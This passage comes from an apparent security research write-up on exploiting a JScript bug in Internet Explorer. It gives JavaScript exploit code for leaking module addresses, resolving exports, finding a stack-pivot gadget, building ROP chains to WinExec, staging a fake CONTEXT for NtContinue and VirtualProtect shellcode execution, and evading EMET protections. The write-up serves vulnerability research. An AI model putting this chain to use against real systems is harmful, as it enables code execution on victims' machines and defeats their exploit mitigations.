if(read_dword(ptr.lower, ptr.upper) == 0x73696854) { // The string 'This' - Part of the DOS stub
WScript.Echo("[+] Found module base!");
ptr.lower -= 0x4e; // Subtract the offset to get the base
return ptr;
}
ptr.lower -= 0x10000;
}
}
Once the base is discovered, the next step is to find an address belonging to the target DLL we want to use a function in. At the base of jscript.dll is the IMAGE_DOS_HEADER struct.
After this header is the DOS stub code, usually used to display that the executable cannot be run on DOS. The member e_lfanew contains the offset from the base of the module to the IMAGE_NT_HEADERS struct. This struct contains wraps around a second struct called IMAGE_OPTIONAL_HEADER which contains more information about the PE file.
The important part from here is the DataDirectory member. This array contains a number of IMAGE_DATA_DIRECTORY structs that give the offsets to various data directories, such as the Export and Import directories. The offsets of each of these directories is static from the start of the IMAGE_OPTIONAL_HEADER, with the Export directory at offset 0x70 and the Import directory at offset 0x78.
The Import directory contains a repeated structure that is used for each imported module. The structure contains two important members: ModuleName and ImportAddressTable(IAT). ModuleName points to a string containing the module name ("msvcrt.dll", for example) and ImportAddressTable points to an array of imported function pointers. By selecting the first function in the IAT, the steps described earlier for jscript.dll can be repeated to identify the base of the target module.
The following function shows how this can be performed in the exploit:
function leak_module(base, target_name_lower, target_name_upper) { // target_name_* are DWORD little-endian numbers that represent part of the name string
// Get IMAGE_NT_HEADERS pointer
module_lower = base.lower + 0x3c; // PE Header offset location
module_upper = base.upper;
file_addr = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] PE Header offset = 0x" + file_addr.toString(16));
// Get imports
module_lower = base.lower + file_addr + 0x90; // Import Directory offset location
import_dir = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Import offset = 0x" + import_dir.toString(16));
// Get import size
module_lower = base.lower + file_addr + 0x94; // Import Directory size offset location
import_size = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Size of imports = 0x" + import_size.toString(16));
// Find module
module_lower = base.lower + import_dir;
while(import_size != 0) {
name_ptr = read_dword(module_lower + 0xc, module_upper, 1); // 0xc is the offset to the module name pointer
if(name_ptr == 0) {
throw Error("Couldn't find the target module name");
}
name_lower = read_dword(base.lower + name_ptr, base.upper);
name_upper = read_dword(base.lower + name_ptr + 4, base.upper);
if(name_lower == target_name_lower && name_upper == target_name_upper) {
WScript.Echo("[+] Found the module! Leaking a random module pointer...");
iat = read_dword(module_lower + 0x10, module_upper); // Import Address Table
leaked_address = read_qword(base.lower + iat, base.upper);
WScript.Echo("[+] Leaked address at upper 0x" + leaked_address.upper.toString(16) + " and lower 0x" + leaked_address.lower.toString(16));
return leaked_address;
}
import_size -= 0x14; // The size of each entry
module_lower += 0x14; // Increase entry pointer
}
}
Once the base of the target module has been found, the target function must be located. This is done by parsing the Export directory in the target module. The Export directory uses one structure containing three important members: AddressOfFunctions, AddressOfNames, and AddressOfNameOrdinals. Using these, it's possible to find the desired target function. AddressOfNames is an array of pointers to function name strings. Once the desired function is found by iterating through the array, the index of that name is used as an index for the AddressOfNameOrdinals array. This array contains a series of numbers that act as indexes for the AddressOfFunctions array, which contains function pointers.
Since there are many similar names for functions, (For example _stricmp and _stricmp_l) the following JavaScript function is a little larger as to accommodate checking up to 16 bytes. It's also useful to note that the following function doesn't search the list of exports linearly but is instead optimised to use binary search, saving a significant amount of time:
function leak_export(base, target_name_first, target_name_second, target_name_third, target_name_fourth) {
// Get IMAGE_NT_HEADERS pointer
module_lower = base.lower + 0x3c; // PE Header offset location
module_upper = base.upper;
file_addr = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] PE Header offset at 0x" + file_addr.toString(16));
// Get exports
module_lower = base.lower + file_addr + 0x88; // Export Directory offset location
export_dir = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export offset at 0x" + import_dir.toString(16));
// Get the number of exports
module_lower = base.lower + export_dir + 0x14; // Number of items offset
export_num = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export count is " + export_num);
// Get the address offset
module_lower = base.lower + export_dir + 0x1c; // Address offset
addresses = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export address offset at 0x" + addresses.toString(16));
// Get the names offset
module_lower = base.lower + export_dir + 0x20; // Names offset
names = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export names offset at 0x" + names.toString(16));
// Get the ordinals offset
module_lower = base.lower + export_dir + 0x24; // Ordinals offset
ordinals = read_dword(module_lower, module_upper, 1);
WScript.Echo("[+] Export ordinals offset at 0x" + ordinals.toString(16));
// Binary search because linear search is too slow
upper_limit = export_num; // Largest number in search space
lower_limit = 0; // Smallest number in search space
num_pointer = Math.floor(export_num/2);
module_lower = base.lower + names;
search_complete = false;
while(!search_complete) {
module_lower = base.lower + names + 4*num_pointer; // Point to the name string offset
function_str_offset = read_dword(module_lower, module_upper, 0); // Get the offset to the name string
module_lower = base.lower + function_str_offset; // Point to the string
function_str_lower = read_dword(module_lower, module_upper, 0); // Get the first 4 bytes of the string
res = compare_nums(target_name_first, function_str_lower);
if(!res && target_name_second) {
function_str_second = read_dword(module_lower + 4, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_second, function_str_second);
if(!res && target_name_third) {
function_str_third = read_dword(module_lower + 8, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_third, function_str_third);
if(!res && target_name_fourth) {
function_str_fourth = read_dword(module_lower + 12, module_upper, 0); // Get the next 4 bytes of the string
res = compare_nums(target_name_fourth, function_str_fourth);
}
}
}
if(!res) { // equal
module_lower = base.lower + ordinals + 2*num_pointer;
ordinal = read_word(module_lower, module_upper, 0);
module_lower = base.lower + addresses + 4*ordinal;
function_offset = read_dword(module_lower, module_upper, 0);
WScript.Echo("[+] Found target export at offset 0x" + function_offset.toString(16));
return {'lower': base.lower + function_offset, 'upper': base.upper};
} if(res == 1) {
if(upper_limit == num_pointer) {
throw Error("Failed to find the target export.");
}
upper_limit = num_pointer;
num_pointer = Math.floor((num_pointer + lower_limit) / 2);
} else {
if(lower_limit == num_pointer) {
throw Error("Failed to find the target export.");
}
lower_limit = num_pointer;
num_pointer = Math.floor((num_pointer + upper_limit) / 2);
}
if(num_pointer == upper_limit && num_pointer == lower_limit) {
throw Error("Failed to find the target export.");
}
}
throw Error("Failed to find matching export.");
}
function compare_nums(target, current) { // return -1 for target being greater, 0 for equal, 1 for current being greater
WScript.Echo("[*] Comparing 0x" + target.toString(16) + " and 0x" + current.toString(16));
if(target == current) {
WScript.Echo("[+] Equal!");
return 0;
}
while(target != 0 && current != 0) {
if((target & 0xff) > (current & 0xff)) {
return -1;
} else if((target & 0xff) < (current & 0xff)) {
return 1;
}
target = target >> 8;
current = current >> 8;
}
}
Exploitation - Code Execution (Handling DEP using ret2lib)
At this point the target functions have been located but a trigger is still required to change the flow of execution and call them.
The simplest way to do this is to create a fake vftable in a fake object and trigger one of the functions. A good target for calling a vftable function is using the typeof operator. If the JScript type of the VAR pointing to the object is 0x81, then the code will call the function pointer at vftable + 0x138 to detect which type string to use:
However, this comes with a problem: only one address can be supplied. Since the attack is not on the stack, a ROP chain can't simply be written and executed. The solution to this problem is to move the stack pointer to another area of memory that is in control, such as a leaked string. This is a technique known as stack pivoting. In order to find the perfect gadget for this exploit, a number of conditions need to be met:
- Static DLL offsets cannot be relied upon - There's no way of knowing what version of the DLL is being used. As such, they must be easily locatable by finding and searching through functions in modules.
- Gadgets that wouldn't exist if a slight code alteration were made should be avoided in order to work through as many versions of the DLL as possible. An example of a bad choice would be a gadget such as mov rax, [rsp + 0x14h]; ret which may not exist if the stack frame were changed by adding a new variable to the function.
The rax register at the time of the vftable call contains the address of the vftable. Therefore, the gadget xchg eax, esp; retn was chosen for the stack pivot. The reason that the 32-bit registers in the instruction are acceptable for the exploit is because the heap location, although randomised, tends to be at a fairly low address. The xchg instruction also zeros out the unused bits of the registers (The upper 32-bits of rax and rsp), making this perfect for a 64-bit pivot.
The bytes that make up this gadget exist in the instruction setz bl in the msvcrt.dll function system, which sets the least significant byte of rbx to 0. This is later used as the return value (dictating success or not) of the function. Since this is not something that is likely to change, it meets the criteria listed above.
As for how instructions can be broken down into other instructions, this is made clearer by examining the bytes associated with them:
Instruction: setz bl
Bytes: 0F 94 C3
Instruction: xchg eax, esp
Bytes: 94
Instruction: retn
Bytes: C3
In order to find the bytes 94 C3 dynamically without static offsets, the Import directory must be traversed to find the system function address. This address is used as the base for the search, reading a WORD at a time until the required bytes are found:
var msvcrt_system_export = leak_export(msvcrt_base, 0x74737973, 0, 0, 0);
var pivot = find_pivot();
function find_pivot() {
WScript.Echo("[*] Finding pivot gadget...");
pivot_offset = 0;
while(pivot_offset < 0x150) {
word_at_offset = read_word(msvcrt_system_export.lower + pivot_offset, msvcrt_system_export.upper);
if(word_at_offset == 0xc394) { // Little-Endian order
break;
}
pivot_offset += 1;
}
if(pivot_offset == 0x150) { // Maximum search range
throw Error("Failed to find pivot");
}
WScript.Echo("[+] Pivot found at offset 0x" + pivot_offset.toString(16));
return {'lower': msvcrt_system_export.lower + pivot_offset, 'upper': msvcrt_system_export.upper};
}
Since the system function call is already found for the purpose of the pivot, it could also be used to pop calc without having to perform a VirtualProtect call to use shellcode. However, it turns out that the system function does not execute when TabProcGrowth is not set, likely due to how the standard protected mode (implemented since IE8) operates, making it less useful in an exploit. A better command execution function is WinExec in kernel32. This means that two more gadgets are required in order to place the first argument (the command string pointer) in the rcx register and the second argument (the display option) in the rdx register.
For the first argument, a good selection for this is in the msvcrt.dll function _hypot. This function operates using the xmm registers to perform operations on double-precision floating-point values. One gadget that appears in this function is mulsd xmm0, xmm3; ret which performs a scalar multiplication operation on the two registers. The bytes that make up this instruction are F2 0F 59 C3. Luckily the bytes 59 C3 are the bytes for the instructions pop rcx; retn.
The second argument gadget can be found in the similarly named msvcrt.dll function _hypotf function in the instruction cvtps2pd xmm0, xmm3 which consists of the bytes 0F 5A C3. This can be used to construct the pop rdx gadget with the second two bytes (5A C3).
Creating the ROP chain requires some forethought. Since the WinExec function calls other functions, additional bytes of padding are required before the chain to ensure that there is enough space for their stack frames:
function generate_gadget_string(gadget) {
return String.fromCharCode.apply(null, [gadget.lower & 0xffff, (gadget.lower >> 16) & 0xffff, gadget.upper & 0xffff, (gadget.upper >> 16) & 0xffff]);
}
// Construct a gadget chain and place the initial_jmp (the pivot) at the correct vftable offset
function generate_rop_chain(gadgets, initial_jmp) {
chain = Array(pad_size + 1).join('A'); // Adds lots of stack space to prevent kernel32.dll crashing
for(i=0;i<gadgets.length;i++) {
chain += generate_gadget_string(gadgets[i]);
}
chain = chain + Array(157 - (chain.length - (pad_size))).join('A') + generate_gadget_string(initial_jmp);
chain = chain.substr(0, chain.length);
chain_addr = addrof(chain);
return chain_addr;
}
After executing, calc is popped. It's important to note that IE will crash after WinExec is run since no process continuation was implemented in this exploit:
Exploitation - Shellcode Execution (Handling DEP using VirtualProtect)
Shellcode execution has been a gold standard for exploit development since the beginning of time, however mitigation's such as DEP have prevented shellcode execution from being as straight forward as a single jump. DEP marks areas of memory such as the stack and heap as only readable and writable. Since there is no execute permission, shellcode placed in these segments cannot be executed. One way to get past this in Windows is to use the VirtualProtect function, which changes the permissions of a memory page. In order to supply all 4 arguments in the function, values need to be placed in the registers rcx, rdx, r8, and r9. Finding gadgets for all of these registers that match the conditions mentioned in the previous section turns out to be particularly difficult, however there is a solution to using single gadgets: NtContinue. This is an undocumented function in ntdll.dll that performs a system call to fill registers with given values from a CONTEXT structure, meaning that all four required registers can be filled in a single call.
In the case of VirtualProtect, the following values need to be set in the CONTEXT structure:
- The lpAddress parameter will point to the shellcode in the heap.
- The dwSize parameter contains the size of the shellcode.
- The flNewProtect parameter contains the new permissions for the shellcode. The permission here should be PAGE_EXECUTE_READWRITE (0x00000040).
- The lpflOldProtect parameter should be a pointer to a writable area of memory.
In order to do this, the following fake CONTEXT structure can be constructed in JavaScript:
context = "AAAA" + // Padding is required to ensure that the address of CONTEXT is 6-byte aligned. Therefore when using the fake context, an 8 byte offset must be added.
"\u0000\u0000\u0000\u0000" + // P1Home
"\u0000\u0000\u0000\u0000" + // P2Home
"\u0000\u0000\u0000\u0000" + // P3Home
"\u0000\u0000\u0000\u0000" + // P4Home
"\u0000\u0000\u0000\u0000" + // P5Home
"\u0000\u0000\u0000\u0000" + // P6Home
"\u0002\u0010" + // ContextFlags - CONTEXT_INTEGER (only change Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15 - This means that Rsp will remain and the ROP chain can continue)
"\u0000\u0000" + // MxCsr
"\u0033" + // SegCs
"\u0000" + // SegDs
"\u0000" + // SegEs
"\u0000" + // SegFs
"\u0000" + // SegGs
"\u002b" + // SegSs
"\u0000\u0000" + // EFlags
"\u0000\u0000\u0000\u0000" + // Dr0
"\u0000\u0000\u0000\u0000" + // Dr1
"\u0000\u0000\u0000\u0000" + // Dr2
"\u0000\u0000\u0000\u0000" + // Dr3
"\u0000\u0000\u0000\u0000" + // Dr6
"\u0000\u0000\u0000\u0000" + // Dr7
"\u4141\u4141\u4141\u4141" + // Rax
String.fromCharCode.apply(null, [shellcode_address & 0xffff, (shellcode_address >> 16) & 0xffff]) + "\u0000\u0000" + // Rcx - shellcode
String.fromCharCode.apply(null, [shellcode.length & 0xffff, ((shellcode.length >> 16) & 0xffff)]) + "\u0000\u0000" + // Rdx - shellcode length
"\u4141\u4141\u4141\u4141" + // Rbx
"\u0000\u0000\u0000\u0000" + // Rsp
"\u0000\u0000\u0000\u0000" + // Rbp
"\u4141\u4141\u4141\u4141" + // Rsi
"\u4141\u4141\u4141\u4141" + // Rdi
"\u0040\u0000\u0000\u0000" + // R8 - Memory protection PAGE_EXECUTE_READWRITE
String.fromCharCode.apply(null, [writable_location & 0xffff, ((writable_location >> 16) & 0xffff)]) + "\u0000\u0000" + // R9 - Writable location
"\u4141\u4141\u4141\u4141" + // R11
"\u4141\u4141\u4141\u4141" + // R12
"\u4141\u4141\u4141\u4141" + // R13
"\u4141\u4141\u4141\u4141" + // R14
"\u4141\u4141\u4141\u4141" + // R15
"\u0000\u0000\u0000\u0000"; // Rip
context = context.substr(0, context.length); // Make the context string reallocate
context_address = addrof(context) + 8; // 8 is the offset to the context to skip past the padding
The ROP chain after the stack pivot is therefore:
[ Pop Rcx; Ret ]
[ Location of fake CONTEXT ]
[ NtContinue ]
[ VirtualProtect ]
[ Shellcode Address ]
Exploitation - Bypassing EMET
A working exploit is great but there are more than just built-in exploit mitigation's that could be considered. While the above exploit methods will work on a standard system, they won't work on systems that have additional security features. In this section the Enhanced Mitigation Experience Toolkit (EMET) will be briefly discussed. EMET is an exploit mitigation system that injects itself into processes in order to identify and prevent suspicious behaviour. There are several included detection techniques that must be considered for this exploit:
- Stack Pivot Detection
- Export Address Table Access Filtering (EAF and EAF+)
A number of additional rules, such as Caller Checks and Simulated Execution Flows, would have made exploiting this vulnerability significantly harder however are only included for 32-bit programs.
Although the end-of-life date for this software was 2018, it's replacement (Windows Defender Exploit Guard) is only compatible with Windows 10. This means that EMET would be the only official exploit mitigation toolkit run on Windows 7 target systems.
Because there has already been a lot of brilliant research on disabling EMET entirely, this section will focus on individually bypassing the detection techniques listed above that affect the exploit.
Stack Pivot
In order to have the ROP chain execute, the stack pointer needed to be moved into the heap to act as a new stack frame. This stack pivoting technique was fairly critical to the exploits mentioned above. However, doing so triggers the stack pivot detection rule in EMET, causing the program to immediately terminate. EMET checks for stack pivoting when a critical function is executed. In the case of this exploit, WinExec is marked as a critical function.
Bypassing this mitigation involved two steps:
- Leaking a stack pointer.
- Jumping directly to NtContinue.
The stack pointer leak was covered in Google Project Zero's blog post in the CFG bypass section and works by using the arbitrary read primitive on any JavaScript object to leak the CSession object pointer because it contains a pointer to the stack itself.
In JavaScript, this is implemented as follows:
function leak_stack_ptr() {
leak_obj = new Object(); // Create an object
addr = addrof(leak_obj); // Get address
csession_addr = read_dword(addr + 24, 0, 1); // Get CSession from offset 24
stack_addr_lower = read_dword(csession_addr + 80, 0, 1); // Get the lower half of the stack pointer from offset 80
stack_addr_upper = read_dword(csession_addr + 84, 0, 1); // Get the upper half of the stack pointer from offset 84
return {'lower': stack_addr_lower, 'upper': stack_addr_upper};
}
This pointer will then be used in the fake CONTEXT structure in the rsp register to avoid the stack pivot detection. The rip register will then contain the target location (in the case of this exploit, WinExec).
At this point there might be some confusion on how the CONTEXT pointer is loaded into the first argument register rcx without a pop rcx gadget being used. The answer is straight forward: the rcx register at the time of calling the function in the vftable contains the fake object itself and since the only part of this fake object that needs to be set is the first 8 bytes (the vftable pointer), the rest of the object can act as a CONTEXT structure, as illustrated below:
As shown, the only register that cannot be controlled is P1Home, which overlaps the vftable pointer. When the exploit is run, the stack remains within the valid stack region, the registers are all controlled, and WinExec is executed without having to pivot.
Export Address Filtering (EAF and EAF+)
During the exploitation process, the addresses of various functions have to be found (WinExec, NtContext). In order to do that, the export list of the module is parsed. Export Address Filtering adds hardware breakpoints on the Export Address Table (EAT) of important modules (kernel32 and ntdll, for example) using the debug registers. When the EAT is read, this breakpoint is triggered and EMET determines whether this access is valid or not. EAF detects whether this access originated from shellcode and will terminate the program if so. The logic behind this is that most shellcode will traverse the EAT of these modules to find functions that can be utilised. Fortunately, the arbitrary read primitive means that shellcode doesn't need to be relied upon to read the export address table, meaning that the EAF detection will not be triggered by the exploit.
EAF+, however, is another story. Among other things, this detects whether certain modules (Such as jscript.dll or vbscript.dll) are accessing the export and import tables of important modules. One way around this is to use the imports of jscript itself, which include GetModuleHandleA and GetProcAddress. These are enough to get the address of any function from any imported module. However, the implementation of EMET 5.52 (The final release of EMET) did not trigger EAF+ when the exploit without the stack pivot was run but version 5.5 did. Since most system administrators who care about exploit mitigation would almost certainly be using 5.52, it's safe to assume EAF+ isn't a massive issue.
With EMET 5.52, bypassing the stack pivot detection alone is all that needs to be done to trigger the exploit:
Conclusion
Despite its age, Internet Explorer is very much alive and well. Although many might be put off by the idea of researching this particular browser due to the lower user base compared to modern browsers such as Edge, the fact that vulnerabilities are still being found today and that it's continuing to be targeted by malicious actors is evidence that more eyes should be on it. This post has layed some of the groundwork for research into JScript in order to enable the next round of researchers to quickly get to grips with the target and begin to find and exploit vulnerabilities of their own.